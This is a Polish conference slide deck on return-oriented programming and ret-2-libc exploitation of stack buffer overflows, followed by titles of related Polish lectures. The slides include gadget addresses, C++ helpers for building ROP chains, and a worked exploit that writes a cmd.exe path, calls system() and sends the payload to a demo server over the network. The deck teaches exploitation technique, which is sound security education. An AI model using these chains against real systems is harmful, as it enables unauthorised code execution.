Return-oriented exploiting

Wielkość: px
Rozpocząć pokaz od strony:

Download "Return-oriented exploiting"

Transkrypt

1 HISPASEC Return-oriented exploiting by Gynvael Coldwind

2 Dramatis Personæ Gynvael Coldwind - obecnie spec. ds. bezp. Hispasec - wcześniej ArcaBit - autor kilku artykułów (Hakin9 i Xploit) - prowadzi bloga technicznego ( - team Vexillium ( Return-oriented exploiting 2 /

3 Menu 1. Przypomnienie tematyki BO 2. Problem niewykonywalnego stosu 3. Enter teh ret-2-libc 4. Do czego wracać? 5. Pseudo-język pseudo-skryptowy 6. Skoki warunkowe i pętle 7. Luźne rozważania Czas na pytania Return-oriented exploiting 3 /

4 Stack Buffer Overflow STOS... śmieci śmieci śmieci śmieci śmieci śmieci śmieci ESP śmieci śmieci śmieci... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } Return-oriented exploiting 4 /

5 Stack Buffer Overflow STOS... śmieci śmieci śmieci śmieci śmieci śmieci śmieci ESP śmieci EBP RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } Return-oriented exploiting 5 /

6 Stack Buffer Overflow STOS... śmieci śmieci śmieci śmieci śmieci ESP śmieci buffer śmieci buffer EBP RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } Return-oriented exploiting 6 /

7 Stack Buffer Overflow STOS... śmieci ESP śmieci śmieci RET &buffer argv[1] buffer śmieci buffer EBP RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } AAAAAAAAAAAAAAAA Return-oriented exploiting 7 /

8 Stack Buffer Overflow STOS... śmieci ESP śmieci śmieci RET &buffer argv[1] AAAA śmieci buffer EBP RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } AAAAAAAAAAAAAAAA Return-oriented exploiting 8 /

9 Stack Buffer Overflow STOS... śmieci ESP śmieci śmieci RET &buffer argv[1] AAAA śmieci AAAA EBP RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } AAAAAAAAAAAAAAAA Return-oriented exploiting 9 /

10 Stack Buffer Overflow STOS... śmieci ESP śmieci śmieci RET &buffer argv[1] AAAA śmieci AAAA AAAA RET... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } AAAAAAAAAAAAAAAA Return-oriented exploiting 10 /

11 Stack Buffer Overflow STOS... śmieci ESP śmieci śmieci RET &buffer argv[1] AAAA śmieci AAAA AAAA AAAA... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } AAAAAAAAAAAAAAAA Return-oriented exploiting 11 /

12 Stack Buffer Overflow STOS... śmieci śmieci śmieci RET &buffer ESP argv[1] AAAA śmieci AAAA AAAA AAAA... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } Return-oriented exploiting 12 /

13 Stack Buffer Overflow STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA AAAA... EIP PROGRAM int main(int argc, char **argv) { char buffer[8]; strcpy(buffer, argv[1]); return 0; } Return-oriented exploiting 13 /

14 Stack Buffer Overflow STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA AAAA... PROGRAM EIP = 0x (AAAA) Return-oriented exploiting 14 /

15 Stack Buffer Overflow Wystarczy zmienić dwie rzeczy w prezentowanym przykładzie aby wykonać dowolny, dostarczony przez atakującego, kod: 1. Shellcode w buforze lub po adresie RET 2. Nadpisanie RET adresem shellcode'u Return-oriented exploiting 15 /

16 Przeciwdziałanie skutkom BO 1. Losowy adres stosu Return-oriented exploiting 16 /

17 Przeciwdziałanie skutkom BO 1. Losowy adres stosu 2. Niewykonywalny stos (NX/XD) Return-oriented exploiting 17 /

18 Enter teh ret-2-libc return to libc technika wykorzystywania stack buffer overflow polegająca na użyciu istniejącego kodu zawartego w bibliotekach oraz w samej aplikacji Return-oriented exploiting 18 /

19 Enter teh ret-2-libc Rok 1997: Solar Designer tworzy pierwszy exploit typu ret-2-libc ( Return-oriented exploiting 19 /

20 Enter teh ret-2-libc Rok 1997: Solar Designer tworzy pierwszy exploit typu ret-2-libc ( Rok 2001: Artykuł Nergal'a w Phrack 0x3a The advanced return-into-lib(c) exploits ( Return-oriented exploiting 20 /

21 Enter teh ret-2-libc Rok 2008: Erik Buchanan, Ryan Roemer, Stefan Savage i Hovav Shacham z University of California Return-oriented BlackHat ( Return-oriented exploiting 21 /

22 Enter teh ret-2-libc ret-2-libc vs. losowość stosu = ret-2-esp Return-oriented exploiting 22 /

23 Enter teh ret-2-libc ret-2-libc vs. losowość stosu = ret-2-esp 1. Znajdź w pamięci instrukcję jmp ESP (FF E4) lub call ESP (FF D4) Return-oriented exploiting 23 /

24 Enter teh ret-2-libc ret-2-libc vs. losowość stosu = ret-2-esp 1. Znajdź w pamięci instrukcję jmp ESP (FF E4) lub call ESP (FF D4) 2. Nadpisz RET adresem tej instrukcji (zakładając że shellcode jest po RET) Return-oriented exploiting 24 /

25 Enter teh ret-2-libc Trochę liczb! Ilość wystąpień FF E4 lub FF D4 per biblioteka systemowa: PLIK FF E4 FF D4 Vista kernel32.dll 1 0 Vista ntdll.dll 3 2 Vista gdi32.dll 1 2 Vista user32.dll Return-oriented exploiting 25 /

26 Enter teh ret-2-libc Trochę liczb! Ilość wystąpień FF E4 lub FF D4 per biblioteka systemowa: PLIK FF E4 FF D4 XP2 user32.dll XP2 kernel32.dll 0 2 XP2 ntdll.dll 1 3 XP3 kernel32.dll 1 2 Return-oriented exploiting 26 /

27 Enter teh ret-2-libc Trochę liczb! Ilość wystąpień FF E4 lub FF D4 per biblioteka systemowa: PLIK FF E4 FF D4 OSX Foundation ~306 ~354 OSX CoreFoundation ~153 ~93 Return-oriented exploiting 27 /

28 Enter teh ret-2-libc Trochę liczb! Ilość wystąpień FF E4 lub FF D4 per biblioteka systemowa: PLIK FF E4 FF D4 libc so linux-gate.so.1 1* 0* Return-oriented exploiting 28 /

29 Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA RET argc argv envp śmieci Return-oriented exploiting 29 /

30 Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA system() argc argv envp śmieci Return-oriented exploiting 30 /

31 Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA system() exit() argv envp śmieci Return-oriented exploiting 31 /

32 Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA system() exit() adres /bin /sh\0 śmieci Return-oriented exploiting 32 /

33 Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA ESP śmieci AAAA AAAA system() exit() adres /bin /sh\0 śmieci EIP = instrukcja ret w main() Return-oriented exploiting 33 /

34 Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA śmieci AAAA AAAA ESP system() exit() adres /bin /sh\0 śmieci EIP = system( /bin/sh ) Return-oriented exploiting 34 /

35 Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos STOS... śmieci śmieci śmieci RET &buffer argv[1] AAAA śmieci AAAA AAAA ESP system() ESP exit() adres /bin /sh\0 śmieci EIP = exit(0x6e69622f) Return-oriented exploiting 35 /

36 Enter teh ret-2-libc ret-2-libc vs. niewykonywalny stos Wniosek: Atakujący spowodował uruchomienie shell'a, mimo iż CPU nie wykonał żadnej instrukcji dostarczonej przez atakującego! Return-oriented exploiting 36 /

37 Do czego wracać? ret-2-??? Return-oriented exploiting 37 /

38 Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! Return-oriented exploiting 38 /

39 Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) Return-oriented exploiting 39 /

40 Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) - ret-2-application Return-oriented exploiting 40 /

41 Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) - ret-2-application - ret-2-data Return-oriented exploiting 41 /

42 Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) - ret-2-application - ret-2-data - ret-2-headers Return-oriented exploiting 42 /

43 Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) - ret-2-application - ret-2-data - ret-2-headers - ret-2-shared-memory Return-oriented exploiting 43 /

44 Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-lib(c) - ret-2-application - ret-2-data - ret-2-headers - ret-2-shared-memory - ret-2-mapped-files Return-oriented exploiting 44 /

45 Do czego wracać? ret-2-??? Można wrócić do każdego adresu który jest w pamięci wykonywalnej! - ret-2-anything Return-oriented exploiting 45 /

46 Do czego wracać? Do czego warto wracać? Return-oriented exploiting 46 /

47 Do czego wracać? Do czego warto wracać? Warto wracać do każdej sekwencji opcode'ów zakończonej poleceniem powrotu: RET lub RETN X Return-oriented exploiting 47 /

48 Do czego wracać? Do czego warto wracać? Warto wracać do każdej sekwencji opcode'ów zakończonej poleceniem powrotu: RET lub RETN X POP rejestr + JMP rejestr Return-oriented exploiting 48 /

49 Do czego wracać? Do czego warto wracać? Warto wracać do każdej sekwencji opcode'ów zakończonej poleceniem powrotu: RET lub RETN X POP rejestr + JMP rejestr dowolna analogiczna sekwencja Return-oriented exploiting 49 /

50 Do czego wracać?!!! WAŻNE!!! Oprócz sekwencji celowo zakończonych opcodem RET (C3) lub RETN (C2) możemy powracać również do sekwencji w których wystąpienie C3/C2 jest przypadkowe! Return-oriented exploiting 50 /

51 Do czego wracać? Przykład: mov eax, 0x0000C358 Return-oriented exploiting 51 /

52 Do czego wracać? Przykład: mov eax, 0x0000C358 B8 58 C Return-oriented exploiting 52 /

53 Do czego wracać? Przykład: mov eax, 0x0000C358 B8 58 C mov eax, 0x0000C358 Return-oriented exploiting 53 /

54 Do czego wracać? Przykład: mov eax, 0x0000C358 B8 58 C mov eax, 0x0000C358 pop eax ret Return-oriented exploiting 54 /

55 Do czego wracać? Wyszukiwanie sekwencji... Return-oriented exploiting 55 /

56 Do czego wracać? Wyszukiwanie sekwencji... Dla każdego bajtu: 1. Jeżeli bajt jest równy C3 lub C2: 1.1. Cofnij się o 10 bajtów 1.2. Zdisassembluj instrukcje 1.3. Idź do nastepnego bajtu 1.4. Jeżeli nie dotarłeś jeszcze do C3/C2, idź do punktu Idź do następnego bajtu Return-oriented exploiting 56 /

57 Do czego wracać? Wyszukiwanie sekwencji... Należy wykonać zaprezentowany algorytm dla każdego obszaru pamięci wykonywalnej atakowanej aplikacji. Wynikiem działania algorytmu jest lista sekwencji instrukcji i ich adresów. Return-oriented exploiting 57 /

58 Do czego wracać? DEMO 01 i 02 Return-oriented exploiting 58 /

59 Do czego wracać? Co ciekawego znalazł rta_finder.exe? Return-oriented exploiting 59 /

60 Do czego wracać? Co ciekawego znalazł rta_finder.exe? a0c (2) POP ECX RET SetECX(a) 6678a0c2 a Return-oriented exploiting 60 /

61 Do czego wracać? Co ciekawego znalazł rta_finder.exe? c3cb2a ---- (2) POP EDX RET SetEDX(a) 77c3cb2a a Return-oriented exploiting 61 /

62 Do czego wracać? Co ciekawego znalazł rta_finder.exe? c33c (3) MOV [EDX], ECX RET Poke(a,b) SetECX(a) SetECX(b) 77c33c42 Return-oriented exploiting 62 /

63 Pseudo-język pseudo-skryptowy Ułatwiamy sobie tworzenie exploitów! Potrzebne będą: - Komplikator języka C++ - Nasz ulubiony edytor Return-oriented exploiting 63 /

64 Pseudo-język pseudo-skryptowy vector<dword> exploit; exploit.resize(20); #define ADDR_SETECX 0x6678a0c1 void SetECX(DWORD a) { exploit.push_back(addr_setecx); exploit.push_back(a); } Return-oriented exploiting 64 /

65 Pseudo-język pseudo-skryptowy #define ADDR_SETEDX 0x77c3cb29 void SetEDX(DWORD a) { } exploit.push_back(addr_setedx); exploit.push_back(a); Return-oriented exploiting 65 /

66 Pseudo-język pseudo-skryptowy #define ADDR_POKE 0x77c33c40 void Poke(DWORD dst, DWORD a) { } SetECX(a); SetEDX(dst); exploit.push_back(addr_poke); Return-oriented exploiting 66 /

67 Pseudo-język pseudo-skryptowy void Emit(DWORD dst, const void *what, DWORD count) { } DWORD *dwhat = (DWORD*)what; for(; count >= 4; dst+=4, count-=4, dwhat++) Poke(dst, *dwhat); Return-oriented exploiting 67 /

68 Pseudo-język pseudo-skryptowy void Emit(DWORD dst, const void *what, DWORD count) { } DWORD *dwhat = (DWORD*)what; for(; count >= 4; dst+=4, count-=4, dwhat++) Poke(dst, *dwhat); Return-oriented exploiting 68 /

69 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami STOS addr śmieci następny funkcji RET... ESP śmieci arg1 arg2 oczekiwany RET arg EIP = X Return-oriented exploiting 69 /

70 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami oczekiwany RET STOS addr śmieci następny funkcji RET ESP arg1 arg2 arg EIP = addr funkcji Return-oriented exploiting 70 /

71 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami oczekiwany RET STOS addr śmieci następny funkcji RET ESP arg1 arg2 arg EIP = następny RET Return-oriented exploiting 71 /

72 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami oczekiwany RET STOS addr śmieci następny funkcji RET ESP arg1 arg2 arg EIP = arg1 Return-oriented exploiting 72 /

73 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami addr funkcji STOS adres POP x3... ESP śmieci śmieci arg1 arg2 oczekiwany RET arg pop EAX pop EDX pop EBP ret EIP = X Return-oriented exploiting 73 /

74 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami oczekiwany RET addr funkcji STOS adres POP x3 ESP śmieci arg1 arg2 arg pop EAX pop EDX pop EBP ret EIP = addr funkcji Return-oriented exploiting 74 /

75 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami oczekiwany RET addr funkcji śmieci STOS adres POP x3 ESP arg1 arg2 arg pop EAX pop EDX pop EBP ret EIP = pop EAX Return-oriented exploiting 75 /

76 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami oczekiwany RET addr funkcji śmieci STOS adres POP x3 ESP arg1 arg2 arg pop EAX pop EDX pop EBP ret EIP = pop EDX Return-oriented exploiting 76 /

77 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami oczekiwany RET addr funkcji śmieci STOS adres POP x3 arg1 ESP arg2 arg pop EAX pop EDX pop EBP ret EIP = pop EBP Return-oriented exploiting 77 /

78 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami ESP oczekiwany RET addr funkcji śmieci STOS adres POP x3 arg1 arg2 arg pop EAX pop EDX pop EBP ret EIP = ret Return-oriented exploiting 78 /

79 Pseudo-język pseudo-skryptowy Problem wywoływania funkcji z parametrami oczekiwany ESP RET addr funkcji śmieci STOS adres POP x3 arg1 arg2 arg pop EAX pop EDX pop EBP ret EIP = oczekiwany RET Return-oriented exploiting 79 /

80 Pseudo-język pseudo-skryptowy void Call_system(DWORD what) { exploit.push_back( } GetAPIAddress( "msvcrt.dll", "system")); exploit.push_back(addr_setecx); exploit.push_back(what); Return-oriented exploiting 80 /

81 Pseudo-język pseudo-skryptowy DWORD GetAPIAddress( const char *lib, const char *name) { return (DWORD)GetProcAddress( GetModuleHandle(lib), name); } Return-oriented exploiting 81 /

82 Pseudo-język pseudo-skryptowy Exploitujemy server.exe! Quest: Odpalić cmd.exe z prawami usera admin. Return-oriented exploiting 82 /

83 Pseudo-język pseudo-skryptowy exploit.resize(28 / 4); DWORD SomeFreeSpace=0x ; Emit(SomeFreeSpace, "c:\\windows\\system32" "\\cmd.exe\0", 28); Call_system(SomeFreeSpace); Return-oriented exploiting 83 /

84 Pseudo-język pseudo-skryptowy NetSock s; s.connect(" ", 33333); s.write( &exploit[0], exploit.size()*4); s.disconnect(); Return-oriented exploiting 84 /

85 Pseudo-język pseudo-skryptowy DEMO 03 Return-oriented exploiting 85 /

86 Skoki i pętle Mechanizm skoków - labele (kompilacja jednoprzebiegowa) struct StrCmp { bool operator()( const char* s1, const char* s2) const { return strcmp( s1, s2 ) < 0; } }; map<const char*, DWORD, StrCmp> labels; Return-oriented exploiting 86 /

87 Skoki i pętle Mechanizm skoków - labele (kompilacja jednoprzebiegowa) void Label(const char *label) { labels[strdup(label)] = exploit.size() * 4; } Return-oriented exploiting 87 /

88 Skoki i pętle Skok bezwarunkowy: (Ważne: ESP jest naszym EIP!) e942dd ---- (2) ADD ESP, [EBX] RET Return-oriented exploiting 88 /

89 Skoki i pętle Skok bezwarunkowy: (Ważne: ESP jest naszym EIP!) void Jump(const char *label) { DWORD Current = (exploit.size() + 8) * 4; DWORD RelJump = labels[label] - Current; Poke(SOME_FREE_SPACE, RelJump); SetEBX(SOME_FREE_SPACE); exploit.push_back(addr_addesppebx); } Return-oriented exploiting 89 /

90 Skoki i pętle Skok bezwarunkowy: Przykład użycia (pętla nieskończona): Label("start"); Jump("start"); Return-oriented exploiting 90 /

91 Skoki i pętle Skok bezwarunkowy: Przykład użycia (pętla nieskończona): DEMO 04 Return-oriented exploiting 91 /

92 Skoki i pętle Skoki w przód: Należy zrobić dwuprzebiegową kompilacje, z opóźnionym uzupełnianiem exploita. Wywołanie funkcji i niszczenie stosu: Funkcje korzystając ze stosu niszczą go, przez co przeplatanie pętli z wywołaniami funkcji jest utrudnione. Return-oriented exploiting 92 /

93 Skoki i pętle Skoki warunkowe: Nie możemy używać Jcc (jnz, jne, etc) ponieważ Jcc zmienia EIP a nie ESP! Co zamiast Jcc? Return-oriented exploiting 93 /

94 Skoki i pętle SETcc i trochę matematyki! :) Return-oriented exploiting 94 /

95 Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 Return-oriented exploiting 95 /

96 Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B B B Return-oriented exploiting 96 /

97 Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B TEST EAX, EAX SETNZ AL MOVZX EAX, AL B B 0 1 Return-oriented exploiting 97 /

98 Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B TEST EAX, EAX SETNZ AL MOVZX EAX, AL DEC EAX B B 0 1 FFFFFFFF 0 Return-oriented exploiting 98 /

99 Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B TEST EAX, EAX SETNZ AL MOVZX EAX, AL DEC EAX NOT EAX B B 0 1 FFFFFFFF 0 0 FFFFFFFF Return-oriented exploiting 99 /

100 Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B TEST EAX, EAX SETNZ AL MOVZX EAX, AL DEC EAX NOT EAX AND EAX, A B B 0 1 FFFFFFFF 0 0 FFFFFFFF 0 A Return-oriented exploiting 100/

101 Skoki i pętle Przykład: Skocz do A jeżeli zmienna B!= 0 MOV EAX, B TEST EAX, EAX SETNZ AL MOVZX EAX, AL DEC EAX NOT EAX AND EAX, A B B 0 1 FFFFFFFF 0 ADD ESP, EAX 0 FFFFFFFF 0 A Return-oriented exploiting 101/

102 Skoki i pętle Zamiast TEST i SETcc można pobrać rejestr EFLAGS i na nim operować. (Return-oriented BH 2008) Return-oriented exploiting 102/

103 Luźne rozważania... A tak naprawdę wystarczy zapis do pamięci... (VirtualAlloc, rozpakowanie kodu, RET) Return-oriented exploiting 103/

104 Luźne rozważania... Anty ret-2-anything czyli ASLR: Vista vs OS X vs Linux-based Return-oriented exploiting 104/

105 Luźne rozważania... A gdyby tak użyć ret-2-anything jako zabezpieczenie przed RE? (trace) Return-oriented exploiting 105/

106 Luźne rozważania... Kompilacja C/Pascala/Javy do RTA? Return-oriented exploiting 106/

107 The End Dziękuje za uwagę! Czas na pytania ;> -=(* -=(* blog *)= Return-oriented exploiting 107/

Programowanie Niskopoziomowe

Programowanie Niskopoziomowe Programowanie Niskopoziomowe Wykład 8: Procedury Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Linkowanie z bibliotekami zewnętrznymi Operacje na stosie

Bardziej szczegółowo

Przepełnienie bufora i łańcuchy formatujace

Przepełnienie bufora i łańcuchy formatujace Metody włamań do systemów komputerowych Przepełnienie bufora i łańcuchy formatujace Bogusław Kluge, Karina Łuksza, Ewa Makosa b.kluge@zodiac.mimuw.edu.pl, k.luksza@zodiac.mimuw.edu.pl, e.makosa@zodiac.mimuw.edu.pl

Bardziej szczegółowo

Programowanie Niskopoziomowe

Programowanie Niskopoziomowe Programowanie Niskopoziomowe Wykład 11: Procedury zaawansowane Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Ramki stosu Rekurencja INVOKE, ADDR, PROC,

Bardziej szczegółowo

Ćwiczenie 3. Konwersja liczb binarnych

Ćwiczenie 3. Konwersja liczb binarnych 1 Laboratorium Architektury Komputerów Ćwiczenie 3 Konwersja liczb binarnych Komputery wykonują operacje przetwarzania danych na wartościach binarnych, podczas gdy współczesna cywilizacja posługuje się

Bardziej szczegółowo

Buffer Overflow (art. 2) by h07 (h07@interia.pl)

Buffer Overflow (art. 2) by h07 (h07@interia.pl) Buffer Overflow (art. 2) by h07 (h07@interia.pl) Intro Artykuł ten kierowany jest do osób znających podstawy języków programowania C i Assembler a takŝe architektury systemu Linux i sposobów zarządzania

Bardziej szczegółowo

Programowanie w asemblerze Aspekty bezpieczeństwa

Programowanie w asemblerze Aspekty bezpieczeństwa Programowanie w asemblerze Aspekty bezpieczeństwa 20 grudnia 2016 Ochrona stron pamięci Najstarsze(?) ataki: modyfikacja kodu programu. Lekarstwo: W XOR X (Write XOR execute) Oznacza to, że w atrybutach

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

PROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012 PROGRAMOWANIE NISKOPOZIOMOWE PN.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 4 c Dr inż. Ignacy Pardyka (Inf.UJK) PN.01 Rok akad. 2011/2012 1 / 27 c Dr

Bardziej szczegółowo

Programowanie niskopoziomowe

Programowanie niskopoziomowe Programowanie niskopoziomowe Programowanie niskopoziomowe w systemie operacyjnym oraz poza nim Tworzenie programu zawierającego procedury asemblerowe 1 Programowanie niskopoziomowe w systemie operacyjnym

Bardziej szczegółowo

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/2012 2 / 24

4 Literatura. c Dr inż. Ignacy Pardyka (Inf.UJK) ASK MP.01 Rok akad. 2011/2012 2 / 24 Wymagania proceduralnych języków wysokiego poziomu ARCHITEKTURA SYSTEMÓW KOMPUTEROWYCH modele programowe procesorów ASK MP.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad.

Bardziej szczegółowo

Metody Realizacji Języków Programowania

Metody Realizacji Języków Programowania Metody Realizacji Języków Programowania Bardzo krótki kurs asemblera x86 Marcin Benke MIM UW 10 stycznia 2011 Marcin Benke (MIM UW) Metody Realizacji Języków Programowania 10 stycznia 2011 1 / 22 Uwagi

Bardziej szczegółowo

Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl)

Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl) Buffer Overflow w Windows, symulacja włamania do systemu z wykorzystaniem błędu usługi sieciowej. by h07 (h07@interia.pl) Intro Większość exploitów wykorzystujących przepełnienie bufora na stosie nadpisuje

Bardziej szczegółowo

Praktycznie całe zamieszanie dotyczące konwencji wywoływania funkcji kręci się w okół wskaźnika stosu.

Praktycznie całe zamieszanie dotyczące konwencji wywoływania funkcji kręci się w okół wskaźnika stosu. Krótki artykuł opisujący trzy podstawowe konwencje wywoływania funkcji C++ (a jest ich więcej). Konwencje wywoływania funkcji nie są tematem, na który można się szeroko rozpisać, jednak należy znać i odróżniać

Bardziej szczegółowo

x86 vs x64 architektura procesora a exploitacja w systemie Windows Mateusz j00ru Jurczyk SecDay, Wrocław 2010

x86 vs x64 architektura procesora a exploitacja w systemie Windows Mateusz j00ru Jurczyk SecDay, Wrocław 2010 x86 vs x64 architektura procesora a exploitacja w systemie Windows Mateusz j00ru Jurczyk SecDay, Wrocław 2010 O mnie Reverse engineer @ Hispasec Vulnerability researcher Vexillium (http://vexillium.org)

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

PROGRAMOWANIE NISKOPOZIOMOWE. Adresowanie pośrednie rejestrowe. Stos PN.04. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012 PROGRAMOWANIE NISKOPOZIOMOWE PN.04 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 3 Ćwiczenia laboratoryjne c Dr inż. Ignacy Pardyka (Inf.UJK) PN.04 Rok akad.

Bardziej szczegółowo

Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl)

Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl) Błędy łańcuchów formatujących (format string) by h07 (h07@interia.pl) Intro. Łańcuchy formatujące umieszczone w funkcjach z rodziny printf() (lub innych funkcjach, których parametrem jest łańcuch formatujący)

Bardziej szczegółowo

Omijanie firewalli w systemach Windows ---warsztaty --- Mateusz Drygas, Marcin Jerzak, Jakub Tomaszewski, Zespół Bezpieczeństwa PCSS Poznań, 18.06 06.2009 1 Agenda 10:00 Rozpoczęcie, powitanie uczestników,

Bardziej szczegółowo

HISPASEC. Praktyczne podejście do testowania bezpieczeństwa implementacji obsługi formatów danych. by Gynvael Coldwind

HISPASEC. Praktyczne podejście do testowania bezpieczeństwa implementacji obsługi formatów danych. by Gynvael Coldwind HISPASEC Praktyczne podejście do testowania bezpieczeństwa implementacji obsługi formatów danych by Gynvael Coldwind Dramatis Personæ Gynvael Coldwind - obecnie spec. ds. bezp. IT @ Hispasec - wcześniej

Bardziej szczegółowo

Architektura komputerów

Architektura komputerów Architektura komputerów Wykład 10 Jan Kazimirski 1 Programowanie w assemblerze x86 c.d. 2 Funkcje systemowe System operacyjny UNIX udostępnia programom usługi za pomocą funkcji systemowych (syscall). Liczba

Bardziej szczegółowo

Pobieranie argumentów wiersza polecenia

Pobieranie argumentów wiersza polecenia Pobieranie argumentów wiersza polecenia 2. Argumenty wiersza polecenia Lista argumentów Lista argumentów zawiera cały wiersz poleceń, łącznie z nazwą programu i wszystkimi dostarczonymi argumentami. Przykłady:

Bardziej szczegółowo

Parę słów o przepełnieniu bufora.

Parę słów o przepełnieniu bufora. Parę słów o przepełnieniu bufora. Łukasz Pejas Styczeń 2006 1 Bufor na stosie. Stos służy między innymi do przekazywania parametrów do funkcji i do tworzenia zmiennych lokalnych funkcji. Jest czymś w rodzaju

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE

PROGRAMOWANIE NISKOPOZIOMOWE PROGRAMOWANIE NISKOPOZIOMOWE PN.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 c Dr inż. Ignacy Pardyka (Inf.UJK) PN.01 Rok akad. 2011/2012 1 / 27 Wprowadzenie

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

PROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012 PROGRAMOWANIE NISKOPOZIOMOWE PN.06 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 Ćwiczenia laboratoryjne c Dr inż. Ignacy Pardyka (Inf.UJK) PN.06 Rok akad.

Bardziej szczegółowo

Zadanie Zaobserwuj zachowanie procesora i stosu podczas wykonywania następujących programów

Zadanie Zaobserwuj zachowanie procesora i stosu podczas wykonywania następujących programów Operacje na stosie Stos jest obszarem pamięci o dostępie LIFO (Last Input First Output). Adresowany jest niejawnie przez rejestr segmentowy SS oraz wskaźnik wierzchołka stosu SP. Używany jest do przechowywania

Bardziej szczegółowo

Assembler w C++ Syntaksa AT&T oraz Intela

